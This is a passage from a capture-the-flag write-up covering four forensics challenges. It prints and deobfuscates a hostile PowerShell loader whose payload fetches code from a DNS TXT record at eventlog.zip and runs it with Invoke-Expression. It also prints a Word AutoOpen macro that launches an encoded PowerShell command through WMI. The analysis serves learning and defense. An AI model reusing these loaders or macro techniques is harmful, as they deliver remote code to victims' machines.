(('. ( ZT6ENv:CoMSpEc[4,24,'+'25]-joinhx6hx6)( a6T ZT6( Set-variaBle hx6OfShx6 hx6hx6)a6T+ ( [StriNg'+'] [rEGeX]::mAtcheS( a6T ))421]RAhC[,hx6fKIhx6eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,hx6kwlhx6EcalPeRC-  )hx6)bhx6+hx60Yb0Yhx6+hx6niOj-]52,hx6+hx642,hx6+'+'hx64[cehx6+hx6phx6+hx6SMoC:Vnhx6+hx6ekwl ( hx6+hx6. fKI ) (DnEOTDAhx6+hx6ehx6+hx6r.)} ) hx6+'+'hx6iicsA:hx6+hx6:]GnidOcNhx6+hx6e.hx6+hx6Thx6+hx6xethx6+hx6.hx6+hx6METsys[hx6+hx6 ,_kwhx6+h'+'x6l (REDhx6+hx6AeRmaertS.o'+'Ihx6+hx6 thx6+hx6Chx6'+'+hx6ejbO-Wh'+'x6+hx6En { HCaERoFhx6+hx6fKI) sSERpM'+'oCehx6+hx'+'6dhx6+hx6::hx6+hx6]'+'edOMhx6+hx6'+'nOisSErPMochx6+hx6.NoISSerhx6+hx6pMOc.oi[, ) b'+'0Yhx6+hx6==wDyD4p+S'+'s/l/hx6+hx6i+5GtatJKyfNjOhx6+'+'hx63hx6+hx63hx6+hx64Vhx6+hx6vj6wRyRXe1xy1pB0hx6+hx6AXVLMgOwYhx6+hx6//hx6+hx6Womhx6+hx6z'+'zUhx6+hx6tBhx6+hx6sx/ie0rVZ7hx6+hx6xcLiowWMGEVjk7JMfxVmuszhx6+hx6OT3XkKu9TvOsrhx6+hx6bbhx6+hx6cbhx6+hx6GyZ6c/gYhx6+hx6Npilhx6+hx6BK7x5hx6+hx6Plchx6+hx68qUyOhBYhx6+hx6VecjNLW42YjM8SwtAhx6+hx6aR8Ihx6+hx6Ohx6+hx6whx6+hx6mhx6+hx66hx6+hx6UwWNmWzCw'+'hx6+hx6VrShx6+hx6r7Ihx6+hx6T2hx6+hx6k6Mj1Muhx6+hx6Khx6+hx6T'+'/oRhx6+hx6O5BKK8R3NhDhx6+hx6om2Ahx6+hx6GYphx6+hx6yahx6+hx6TaNg8DAneNoeSjhx6+h'+'x6ugkTBFTcCPaSH0QjpFywhx6+'+'hx6aQyhx'+'6+hx6HtPUG'+'hx'+'6+hx6DL0BK3hx6+h'+'x6lClrHAvhx6+h'+'x64GOpVKhx6+hx6UNhx6+hx6mGzIDeraEvlpc'+'kC9EGhx6+hx6gIaf96jSmShx6'+'+hx6Mhhx6+hx6hhx6+hx6RfI72hx6+hx6oHzUkDsZoT5hx6+hx6nhx6+hx6c7MD8W31Xq'+'Khx6+hx6d4dbthx6+hx6bth1RdSigEaEhx6+hx6JNERMLUxV'+'hx6+hx6ME4PJtUhx6+hx6tSIJUZfZhx6+hx6EEhx6+hx6Ahx6+hx6JsTdDZNbhx6+hx60Y(gniRTS4hx6+hx66esh'+'x6+hx6aBmoRF::]tRevnOhx6+hx6C[]MAertsYrOmeM.Oi.mETSYs[ (MaErhx6+hx6thx6+hx6sEtALfeD.NOhx6+hx6IsS'+'erPmo'+'c.OI.mehx6+hx6TsYShx6'+'+hx6 hx6+hx6 tCejbO-WEhx6+hx6n ( hx6(((no'+'IsseRpX'+'e-ekovni a6T,hx6.hx6,hx6RightToLEFthx6 ) RYcforEach{ZT6_ })+a6T ZT6( sV hx6oFshx6 hx6 hx6)a6T ) ')  -cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),[cHAr]36 -rEPlAce'a6T',[cHAr]34  -rEPlAce  'RYc',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39) |. ( $vERboSEpreFeRenCe.tOStrING()[1,3]+'x'-JOin'')

If you separate it in smaller chunks using parenthesis you can reassemble big strings, do substitution and finally obtain something to work on but the task is tedious.

I had to use the Powershell interpreter to execute some parts but I found another solution that I think would be more useful.

You will need PSDecode which is a deobfuscation tool for Powershell.

Of course if requires Windows + Powershell but it is worth it.

Then you deobfuscate the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PS C:\Users\User> PSDecode .\Desktop\bad.ps1


############################## Layer 1 ##############################
(('. ( ZT6ENv:CoMSpEc[4,24,'+'25]-joinhx6hx6)( a6T ZT6( Set-variaBle hx6OfShx6 hx6hx6)a6T+ ( [StriNg'+'] [rEGeX]::mAtcheS( a6T ))421]RAhC[,hx6fKIhx6eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,hx6kwlhx6EcalPeRC-  )hx6)bhx6+hx60Yb0Yhx6+hx6niOj-]52,hx6+hx642,hx6+'+'hx64[cehx6+hx6phx6+hx6SMoC:Vnhx6+hx6ekwl ( hx6+hx6. fKI ) (DnEOTDAhx6+hx6ehx6+hx6r.)} ) hx6+'+'hx6iicsA:hx6+hx6:]GnidOcNhx6+hx6e.hx6+hx6Thx6+hx6xethx6+hx6.hx6+hx6METsys[hx6+hx6 ,_kwhx6+h'+'x6l (REDhx6+hx6AeRmaertS.o'+'Ihx6+hx6 thx6+hx6Chx6'+'+hx6ejbO-Wh'+'x6+hx6En { HCaERoFhx6+hx6fKI) sSERpM'+'oCehx6+hx'+'6dhx6+hx6::hx6+hx6]'+'edOMhx6+hx6'+'nOisSErPMochx6+hx6.NoISSerhx6+hx6pMOc.oi[, ) b'+'0Yhx6+hx6==wDyD4p+S'+'s/l/hx6+hx6i+5GtatJKyfNjOhx6+'+'hx63hx6+hx63hx6+hx64Vhx6+hx6vj6wRyRXe1xy1pB0hx6+hx6AXVLMgOwYhx6+hx6//hx6+hx6Womhx6+hx6z'+'zUhx6+hx6tBhx6+hx6sx/ie0rVZ7hx6+hx6xcLiowWMGEVjk7JMfxVmuszhx6+hx6OT3XkKu9TvOsrhx6+hx6bbhx6+hx6cbhx6+hx6GyZ6c/gYhx6+hx6Npilhx6+hx6BK7x5hx6+hx6Plchx6+hx68qUyOhBYhx6+hx6VecjNLW42YjM8SwtAhx6+hx6aR8Ihx6+hx6Ohx6+hx6whx6+hx6mhx6+hx66hx6+hx6UwWNmWzCw'+'hx6+hx6VrShx6+hx6r7Ihx6+hx6T2hx6+hx6k6Mj1Muhx6+hx6Khx6+hx6T'+'/oRhx6+hx6O5BKK8R3NhDhx6+hx6om2Ahx6+hx6GYphx6+hx6yahx6+hx6TaNg8DAneNoeSjhx6+h'+'x6ugkTBFTcCPaSH0QjpFywhx6+'+'hx6aQyhx'+'6+hx6HtPUG'+'hx'+'6+hx6DL0BK3hx6+h'+'x6lClrHAvhx6+h'+'x64GOpVKhx6+hx6UNhx6+hx6mGzIDeraEvlpc'+'kC9EGhx6+hx6gIaf96jSmShx6'+'+hx6Mhhx6+hx6hhx6+hx6RfI72hx6+hx6oHzUkDsZoT5hx6+hx6nhx6+hx6c7MD8W31Xq'+'Khx6+hx6d4dbthx6+hx6bth1RdSigEaEhx6+hx6JNERMLUxV'+'hx6+hx6ME4PJtUhx6+hx6tSIJUZfZhx6+hx6EEhx6+hx6Ahx6+hx6JsTdDZNbhx6+hx60Y(gniRTS4hx6+hx66esh'+'x6+hx6aBmoRF::]tRevnOhx6+hx6C[]MAertsYrOmeM.Oi.mETSYs[ (MaErhx6+hx6thx6+hx6sEtALfeD.NOhx6+hx6IsS'+'erPmo'+'c.OI.mehx6+hx6TsYShx6'+'+hx6 hx6+hx6 tCejbO-WEhx6+hx6n ( hx6(((no'+'IsseRpX'+'e-ekovni a6T,hx6.hx6,hx6RightToLEFthx6 ) RYcforEach{ZT6_ })+a6T ZT6( sV hx6oFshx6 hx6 hx6)a6T ) ')  -cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),[cHAr]36 -rEPlAce'a6T',[cHAr]34  -rEPlAce  'RYc',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39) |. ( $vERboSEpreFeRenCe.tOStrING()[1,3]+'x'-JOin'')



############################## Layer 2 ##############################
(('. ( ZT6ENv:CoMSpEc[4,24,25]-joinhx6hx6)( a6T ZT6( Set-variaBle hx6OfShx6 hx6hx6)a6T+ ( [StriNg] [rEGeX]::mAtcheS( a6T ))421]RAhC[,hx6fKIhx6eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,hx6kwlhx6EcalPeRC-  )hx6)bhx6+hx60Yb0Yhx6+hx6niOj-]52,hx6+hx642,hx6+hx64[cehx6+hx6phx6+hx6SMoC:Vnhx6+hx6ekwl ( hx6+hx6. fKI ) (DnEOTDAhx6+hx6ehx6+hx6r.)} ) hx6+hx6iicsA:hx6+hx6:]GnidOcNhx6+hx6e.hx6+hx6Thx6+hx6xethx6+hx6.hx6+hx6METsys[hx6+hx6 ,_kwhx6+hx6l (REDhx6+hx6AeRmaertS.oIhx6+hx6 thx6+hx6Chx6+hx6ejbO-Whx6+hx6En { HCaERoFhx6+hx6fKI) sSERpMoCehx6+hx6dhx6+hx6::hx6+hx6]edOMhx6+hx6nOisSErPMochx6+hx6.NoISSerhx6+hx6pMOc.oi[, ) b0Yhx6+hx6==wDyD4p+Ss/l/hx6+hx6i+5GtatJKyfNjOhx6+hx63hx6+hx63hx6+hx64Vhx6+hx6vj6wRyRXe1xy1pB0hx6+hx6AXVLMgOwYhx6+hx6//hx6+hx6Womhx6+hx6zzUhx6+hx6tBhx6+hx6sx/ie0rVZ7hx6+hx6xcLiowWMGEVjk7JMfxVmuszhx6+hx6OT3XkKu9TvOsrhx6+hx6bbhx6+hx6cbhx6+hx6GyZ6c/gYhx6+hx6Npilhx6+hx6BK7x5hx6+hx6Plchx6+hx68qUyOhBYhx6+hx6VecjNLW42YjM8SwtAhx6+hx6aR8Ihx6+hx6Ohx6+hx6whx6+hx6mhx6+hx66hx6+hx6UwWNmWzCwhx6+hx6VrShx6+hx6r7Ihx6+hx6T2hx6+hx6k6Mj1Muhx6+hx6Khx6+hx6T/oRhx6+hx6O5BKK8R3NhDhx6+hx6om2Ahx6+hx6GYphx6+hx6yahx6+hx6TaNg8DAneNoeSjhx6+hx6ugkTBFTcCPaSH0QjpFywhx6+hx6aQyhx6+hx6HtPUGhx6+hx6DL0BK3hx6+hx6lClrHAvhx6+hx64GOpVKhx6+hx6UNhx6+hx6mGzIDeraEvlpckC9EGhx6+hx6gIaf96jSmShx6+hx6Mhhx6+hx6hhx6+hx6RfI72hx6+hx6oHzUkDsZoT5hx6+hx6nhx6+hx6c7MD8W31XqKhx6+hx6d4dbthx6+hx6bth1RdSigEaEhx6+hx6JNERMLUxVhx6+hx6ME4PJtUhx6+hx6tSIJUZfZhx6+hx6EEhx6+hx6Ahx6+hx6JsTdDZNbhx6+hx60Y(gniRTS4hx6+hx66eshx6+hx6aBmoRF::]tRevnOhx6+hx6C[]MAertsYrOmeM.Oi.mETSYs[ (MaErhx6+hx6thx6+hx6sEtALfeD.NOhx6+hx6IsSerPmoc.OI.mehx6+hx6TsYShx6+hx6 hx6+hx6 tCejbO-WEhx6+hx6n ( hx6(((noIsseRpXe-ekovni a6T,hx6.hx6,hx6RightToLEFthx6 ) RYcforEach{ZT6_ })+a6T ZT6( sV hx6oFshx6 hx6 hx6)a6T ) ')  -cREpLACE ([cHAr]90+[cHAr]84+[cHAr]54),[cHAr]36 -rEPlAce'a6T',[cHAr]34  -rEPlAce  'RYc',[cHAr]124 -cREpLACE  ([cHAr]104+[cHAr]120+[cHAr]54),[cHAr]39) |. ( $vERboSEpreFeRenCe.tOStrING()[1,3]+'x'-JOin'')



############################## Layer 3 ##############################
. ( $ENv:CoMSpEc[4,24,25]-join'')( " $( Set-variaBle 'OfS' '')"+ ( [StriNg] [rEGeX]::mAtcheS( " ))421]RAhC[,'fKI'eCALPeR-  93]RAhC[,)89]RAhC[+84]RAhC[+98]RAhC[( EcalPeRC-  63]RAhC[,'kwl'EcalPeRC-  )')b0Yb0YniOj-]52,42,4[cepSMoC:Vnekwl ( . fKI ) (DnEOTDAer.)} ) iicsA::]GnidOcNe.Txet.METsys[ ,_kwl (REDAeRmaertS.oI tCejbO-WEn { HCaERoFfKI) sSERpMoCed::]edOMnOisSErPMoc.NoISSerpMOc.oi[, ) b0Y==wDyD4p+Ss/l/i+5GtatJKyfNjO334Vvj6wRyRXe1xy1pB0AXVLMgOwY//WomzzUtBsx/ie0rVZ7xcLiowWMGEVjk7JMfxVmuszOT3XkKu9TvOsrbbcbGyZ6c/gYNpilBK7x5Plc8qUyOhBYVecjNLW42YjM8SwtAaR8IOwm6UwWNmWzCwVrSr7IT2k6Mj1MuKT/oRO5BKK8R3NhDom2AGYpyaTaNg8DAneNoeSjugkTBFTcCPaSH0QjpFywaQyHtPUGDL0BK3lClrHAv4GOpVKUNmGzIDeraEvlpckC9EGgIaf96jSmSMhhRfI72oHzUkDsZoT5nc7MD8W31XqKd4dbtbth1RdSigEaEJNERMLUxVME4PJtUtSIJUZfZEEAJsTdDZNb0Y(gniRTS46esaBmoRF::]tRevnOC[]MAertsYrOmeM.Oi.mETSYs[ (MaErtsEtALfeD.NOIsSerPmoc.OI.meTsYS  tCejbO-WEn ( '(((noIsseRpXe-ekovni ",'.','RightToLEFt' ) |forEach{$_ })+" $( sV 'oFs' ' ')" )



############################## Layer 4 ##############################
  invoke-eXpRessIon(((' ( nEW-ObjeCt  SYsTem.IO.comPreSsION.DefLAtEstrEaM( [sYSTEm.iO.MemOrYstreAM][COnveRt]::FRomBase64STRing(Y0bNZDdTsJAEEZfZUJIStUtJP4EMVxULMRENJEaEgiSdR1htbtbd4dKqX13W8DM7cn5ToZsDkUzHo27IfRhhMSmSj69faIgGE9CkcplvEareDIzGmNUKVpOG4vAHrlCl3KB0LDGUPtHyQawyFpjQ0HSaPCcTFBTkgujSeoNenAD8gNaTaypYGA2moDhN3R8KKB5ORo/TKuM1jM6k2TI7rSrVwCzWmNWwU6mwOI8RaAtwS8MjY24WLNjceVYBhOyUq8clP5x7KBlipNYg/c6ZyGbcbbrsOvT9uKkX3TOzsumVxfMJ7kjVEGMWwoiLcx7ZVr0ei/xsBtUzzmoW//YwOgMLVXA0Bp1yx1eXRyRw6jvV433OjNfyKJtatG5+i/l/sS+p4DyDw==Y0b ) ,[io.cOMpreSSIoN.coMPrESsiOnMOde]::deCoMpRESs )IKfFoREaCH { nEW-ObjeCt Io.StreamReADER( lwk_, [sysTEM.texT.eNcOdinG]::Ascii ) }).reADTOEnD( ) IKf . ( lwkenV:CoMSpec[4,24,25]-jOinY0bY0b)')  -CRePlacE'lwk',[ChAR]36  -CRePlacE ([ChAR]89+[ChAR]48+[ChAR]98),[ChAR]39  -RePLACe'IKf',[ChAR]124))



############################## Layer 5 ##############################
 ( nEW-ObjeCt  SYsTem.IO.comPreSsION.DefLAtEstrEaM( [sYSTEm.iO.MemOrYstreAM][COnveRt]::FRomBase64STRing('NZDdTsJAEEZfZUJIStUtJP4EMVxULMRENJEaEgiSdR1htbtbd4dKqX13W8DM7cn5ToZsDkUzHo27IfRhhMSmSj69faIgGE9CkcplvEareDIzGmNUKVpOG4vAHrlCl3KB0LDGUPtHyQawyFpjQ0HSaPCcTFBTkgujSeoNenAD8gNaTaypYGA2moDhN3R8KKB5ORo/TKuM1jM6k2TI7rSrVwCzWmNWwU6mwOI8RaAtwS8MjY24WLNjceVYBhOyUq8clP5x7KBlipNYg/c6ZyGbcbbrsOvT9uKkX3TOzsumVxfMJ7kjVEGMWwoiLcx7ZVr0ei/xsBtUzzmoW//YwOgMLVXA0Bp1yx1eXRyRw6jvV433OjNfyKJtatG5+i/l/sS+p4DyDw==' ) ,[io.cOMpreSSIoN.coMPrESsiOnMOde]::deCoMpRESs )|FoREaCH { nEW-ObjeCt Io.StreamReADER( $_, [sysTEM.texT.eNcOdinG]::Ascii ) }).reADTOEnD( ) | . ( $enV:CoMSpec[4,24,25]-jOin'')



############################## Actions ##############################
No actions Identified. Methods executed by the script may not have corresponding override methods defined.

It didn’t solve the final step, but it is a lot better.

Now we still have to decode some base64 and uncompress using deflate. The critical point was to add another parameter to zlib.decompress:

1
2
3
4
5
6
7
>>> import base64
>>> import zlib
>>> base64_data = "NZDdTsJAEEZfZUJIStUtJP4EMVxULMRENJEaEgiSdR1htbtbd4dKqX13W8DM7cn5ToZsDkUzHo27IfRhhMSmSj69faIgGE9CkcplvEareDIzGmNUKVpOG4vAHrlCl3KB0LDGUPtHyQawyFpjQ0HSaPCcTFBTkgujSeoNenAD8gNaTaypYGA2moDhN3R8KKB5ORo/TKuM1jM6k2TI7rSrVwCzWmNWwU6mwOI8RaAtwS8MjY24WLNjceVYBhOyUq8clP5x7KBlipNYg/c6ZyGbcbbrsOvT9uKkX3TOzsumVxfMJ7kjVEGMWwoiLcx7ZVr0ei/xsBtUzzmoW//YwOgMLVXA0Bp1yx1eXRyRw6jvV433OjNfyKJtatG5+i/l/sS+p4DyDw=="
>>> binary_data = base64.b64decode(base64_data)
>>> decompressed_data = zlib.decompress(binary_data, -zlib.MAX_WBITS)
>>> print(decompressed_data.decode())
try {$TGM8A = Get-WmiObject MSAcpi_ThermalZoneTemperature -Namespace "root/wmi" -ErrorAction 'silentlycontinue' ; if ($error.Count -eq 0) { $5GMLW = (Resolve-DnsName eventlog.zip -Type txt | ForEach-Object { $_.Strings }); if ($5GMLW -match '^[-A-Za-z0-9+/]*={0,3}$') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($5GMLW)) | Invoke-Expression } } } catch { }

The first instruction is just a way to detect if the code is running inside a VM.

The second part perform a DNS request of type TXT for the domain eventlog.zip.

The code then looks for base64 strings and decode it. Let’s see what we can find there:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ dig -t TXT eventlog.zip

; <<>> DiG 9.18.12-0ubuntu0.22.04.3-Ubuntu <<>> -t TXT eventlog.zip
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44497
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;eventlog.zip.                  IN      TXT

;; ANSWER SECTION:
eventlog.zip.           3600    IN      TXT     "U3RhcnQtUHJvY2VzcyAiaHR0cHM6Ly95b3V0dS5iZS81NjFubmQ5RWJzcz90PTE2IgojZmxhZ3s0MDk1MzczNDdjMmZhZTAxZWY5ODI2YzI1MDZhYzY2MH0jCg=="

;; Query time: 52 msec
;; SERVER: ::1#53(::1) (UDP)
;; WHEN: Thu Oct 19 09:54:09 CEST 2023
;; MSG SIZE  rcvd: 178

And finally

1
2
3
$ echo U3RhcnQtUHJvY2VzcyAiaHR0cHM6Ly95b3V0dS5iZS81NjFubmQ5RWJzcz90PTE2IgojZmxhZ3s0MDk1MzczNDdjMmZhZTAxZWY5ODI2YzI1MDZhYzY2MH0jCg== | base64 -d
Start-Process "https://youtu.be/561nnd9Ebss?t=16"
#flag{409537347c2fae01ef9826c2506ac660}#

Traffic

Description

We saw some communication to a sketchy site… here’s an export of the network traffic. Can you track it down?

Some tools like rita or zeek might help dig through all of this data!

Solution

Get the file

1
wget -O traffic.7z https://huntress.ctf.games/files/efd8115eedbda53848676208e38e6afc/traffic.7z?token=eyJ1c2VyX2lkIjozMjIwLCJ0ZWFtX2lkIjo0MDgsImZpbGVfaWQiOjd9.ZR16QA.wjQwJefS3dqMnEPwq5ruosfr4H8

Unzip it

1
2
7z x traffic.7z
cd 2021-09-08

List the content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
ls -1
capture_loss.00:00:00-01:00:00.log.gz
capture_loss.01:00:00-02:00:00.log.gz
capture_loss.02:16:42-03:00:00.log.gz
capture_loss.03:00:00-03:53:19.log.gz
capture_loss.03:53:19-03:53:21.log.gz
conn-summary.00:00:00-01:00:00.log.gz
conn-summary.01:00:00-02:00:00.log.gz
conn-summary.02:00:00-02:01:50.log.gz
conn-summary.02:15:56-03:00:00.log.gz
conn-summary.03:00:00-03:53:19.log.gz
conn-summary.03:53:19-03:53:21.log.gz
conn.00:00:00-01:00:00.log.gz
conn.01:00:00-02:00:00.log.gz
conn.02:00:00-02:01:50.log.gz
conn.02:15:56-03:00:00.log.gz
conn.03:00:00-03:53:19.log.gz
conn.03:53:19-03:53:21.log.gz
dns.00:00:00-01:00:00.log.gz
dns.01:00:00-02:00:00.log.gz
dns.02:00:00-02:01:50.log.gz
dns.02:15:46-03:00:00.log.gz
dns.03:00:00-03:53:19.log.gz
files.00:00:00-01:00:00.log.gz
files.01:00:00-02:00:00.log.gz
files.02:00:00-02:01:50.log.gz
files.02:15:51-03:00:00.log.gz
files.03:00:00-03:53:19.log.gz
http.00:00:00-01:00:00.log.gz
http.01:00:00-02:00:00.log.gz
http.02:15:51-03:00:00.log.gz
http.03:00:00-03:53:19.log.gz
known_hosts.02:15:46-03:00:00.log.gz
loaded_scripts.02:15:42-03:00:00.log.gz
notice.00:00:00-01:00:00.log.gz
notice.01:00:00-02:00:00.log.gz
notice.02:20:05-03:00:00.log.gz
notice.03:00:00-03:53:19.log.gz
ocsp.00:00:00-01:00:00.log.gz
ocsp.01:00:00-02:00:00.log.gz
ocsp.02:00:00-02:01:50.log.gz
ocsp.02:16:08-03:00:00.log.gz
ocsp.03:00:00-03:53:19.log.gz
packet_filter.02:15:42-03:00:00.log.gz
reporter.00:00:00-01:00:00.log.gz
reporter.03:53:19-03:53:19.log.gz
software.02:15:51-03:00:00.log.gz
ssl.00:00:00-01:00:00.log.gz
ssl.01:00:00-02:00:00.log.gz
ssl.02:00:00-02:01:50.log.gz
ssl.02:15:47-03:00:00.log.gz
ssl.03:00:00-03:53:19.log.gz
stats.00:00:00-01:00:00.log.gz
stats.01:00:00-02:00:00.log.gz
stats.02:15:42-03:00:00.log.gz
stats.03:00:00-03:53:19.log.gz
stats.03:53:19-03:53:21.log.gz
stderr.02:15:41-03:53:21.log.gz
stdout.02:15:41-03:53:21.log.gz
weird.00:00:00-01:00:00.log.gz
weird.02:16:09-03:00:00.log.gz
weird.03:00:00-03:53:19.log.gz
x509.00:00:00-01:00:00.log.gz
x509.01:00:00-02:00:00.log.gz
x509.02:15:48-03:00:00.log.gz
x509.03:00:00-03:53:19.log.gz

Naive grep

1
zcat * | grep sketchy

=> Found sketchysite.github.io !

In reality, I’ve read Zeek log format here https://docs.zeek.org/en/master/log-formats.html#zeek-tsv-format-and-awk, then I tried the command below and got the result (:

1
zcat dns.* | awk '/^[^#]/ {print $3, $10, $22}' | grep sket

Tragedy (Redux)

Description

We found this file as part of an attack chain that seemed to manipulate file contents to stage a payload. Can you make any sense of it?

Solution

The first post of the challenge was a real tragedy as the archive did contain the flag in a txt file!

It was a mistake and the CTF staff posted the fixed challenge under the name Tragedy Redux.

You get a 7z file which contains a zip file whose content seems to be a docx document:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ unzip -d tragedy tragedy_redux.zip
Archive:  tragedy_redux.zip
file #1:  bad zipfile offset (local header sig):  0
  inflating: tragedy/_rels/.rels
  inflating: tragedy/word/document.xml
  inflating: tragedy/word/_rels/document.xml.rels
  inflating: tragedy/word/vbaProject.bin
  inflating: tragedy/word/theme/theme1.xml
  inflating: tragedy/word/_rels/vbaProject.bin.rels
  inflating: tragedy/word/vbaData.xml
  inflating: tragedy/word/settings.xml
  inflating: tragedy/word/styles.xml
  inflating: tragedy/word/webSettings.xml
  inflating: tragedy/word/fontTable.xml
  inflating: tragedy/docProps/core.xml
  inflating: tragedy/docProps/app.xml

Unfortunately you can’t just rename the zip to docx and open it in LibreOffice.

I used grep to find the flag, but it wasn’t so easy to get.

I chose to take an in-depth look to the vbaProject.bin which is apparently where macros are stored but in a Microsoft-ish format.

After some time I found an old program for Windows able to extract VBA code from the bin file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ wine OfficeMalScanner.exe vbaProject.bin info

+------------------------------------------+
|           OfficeMalScanner v0.62         |
|  Frank Boldewin / www.reconstructer.org  |
+------------------------------------------+

[*] INFO mode selected
[*] Opening file vbaProject.bin
[*] Filesize is 22016 (0x5600) Bytes
[*] Ms Office OLE2 Compound Format document detected

-----------------------------------------
[Scanning for VB-code in VBAPROJECT.BIN]
-----------------------------------------
NewMacros
ThisDocument
-----------------------------------------------------------------------------
                VB-MACRO CODE WAS FOUND INSIDE THIS FILE!
               The decompressed Macro code was stored here:

------> Z:\tmp\OfficeMalScanner\VBAPROJECT.BIN-Macros
-----------------------------------------------------------------------------

We have the following code in the NewMacros file with a call to AutoOpen() which suggest it is the main thing

Attribute VB_Name = "NewMacros"
Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
    OatMilk = OatMilk + Pears(Strawberries(Milk))
    Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = OatMilk
End Function


Function Bears(Cows)
    Bears = StrReverse(Cows)
End Function

Function Tragedy()

    Dim Apples As String
    Dim Water As String

    If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
        Exit Function
    End If

    Apples = "129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"
    Water = Nuts(Apples)


    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin

End Function

Sub AutoOpen()
    Tragedy
End Sub

I’m not familiar with VBA, so it took me some time to rewrite it using Python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def Pears(c: int) -> str:
    return chr(c - 17)

def Strawberries(s: str) -> str:
    return s[:3]

def Almonds(s: str) -> str:
    return s[3:]

def Nuts(s: str):
    oat_milk = ""
    while True:
        oat_milk = oat_milk + Pears(int(Strawberries(s)))
        s = Almonds(s)
        if len(s) <= 0:
            break
    return oat_milk

def Bears(s: str) -> str:
    return s[::-1]

print(Nuts("129128136118131132121118125125049062118127116049091088107132106104116074090126107132106104117072095123095124106067094069094126094139094085086070095139116067096088106065107085098066096088099121094101091126095123086069106126095074090120078078"))
print(Nuts("136122127126120126133132075"))
print(Nuts("104122127068067112097131128116118132132"))

The decoded strings are:

1
2
3
powershell -enc JGZsYWc9ImZsYWd7NjNkY2M4MmMzMDE5Nzc2OGY0ZDQ1OGRhMTJmNjE4YmN9Ig==
winmgmts:
Win32_Process

And of course the base64 string decodes to the flag.

Wimble

Description

“Gretchen, stop trying to make fetch happen! It’s not going to happen!” - Regina George, Mean Girls

Solution

You get a wimble.7z that uncompress to a file called fetch:

1
2
$ file fetch
fetch: Windows imaging (WIM) image v1.13, XPRESS compressed, reparse point fixup

That format seems like an equivalent of Apple’s DMG.

You can extract the content using any kind of archiving tool like the graphical file-roller that comes with Gnome or Xarchiver.

Once extracted there are a lot of prefetch (.pf) files. Those are files generated by the Windows operating system when you lanch an executable.

The aim is to speed up execution at next launch (as far as I remember).

Those are also interesting files for computer forensics because they can give an in-depth idead of what was executed on a computer and when.

There are FOSS tools out there but a lot are outdated.

The best way seems to use a tool available for the Linux distribution:

1
libscca-utils - Windows Prefetch File access library -- Utilities

You can’t use the tool on a directory so let’s use find:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ find ../toto -name "*.pf" -exec sccainfo {} \; | grep -i flag
Unable to open: ../toto/SVCHOST.EXE-04F53BBC.pf.
libscca_io_handle_read_compressed_file_header: unsupported signature.
libscca_file_open_read: unable to read file header.
libscca_file_open_file_io_handle: unable to read from file handle.
libscca_file_open: unable to open file: ../toto/SVCHOST.EXE-04F53BBC.pf.
info_handle_open_input: unable to open input file.
Unable to open: ../toto/DLLHOST.EXE-5A1B6910.pf.
libscca_io_handle_read_compressed_file_header: unsupported signature.
libscca_file_open_read: unable to read file header.
libscca_file_open_file_io_handle: unable to read from file handle.
libscca_file_open: unable to open file: ../toto/DLLHOST.EXE-5A1B6910.pf.
info_handle_open_input: unable to open input file.
        Filename: 62                    : \VOLUME{01d89fa75d2a9f57-245d3454}\USERS\LOCAL_ADMIN\DESKTOP\FLAG{97F33C9783C21DF85D79D613B0B258BD}
Unable to open: ../toto/yolo2/SVCHOST.EXE-04F53BBC.pf.
libscca_io_handle_read_compressed_file_header: unsupported signature.
libscca_file_open_read: unable to read file header.
libscca_file_open_file_io_handle: unable to read from file handle.
libscca_file_open: unable to open file: ../toto/yolo2/SVCHOST.EXE-04F53BBC.pf.
info_handle_open_input: unable to open input file.
Unable to open: ../toto/yolo2/DLLHOST.EXE-5A1B6910.pf.
libscca_io_handle_read_compressed_file_header: unsupported signature.
libscca_file_open_read: unable to read file header.
libscca_file_open_file_io_handle: unable to read from file handle.
libscca_file_open: unable to open file: ../toto/yolo2/DLLHOST.EXE-5A1B6910.pf.
info_handle_open_input: unable to open input file.
        Filename: 62                    : \VOLUME{01d89fa75d2a9f57-245d3454}\USERS\LOCAL_ADMIN\DESKTOP\FLAG{97F33C9783C21DF85D79D613B0B258BD}
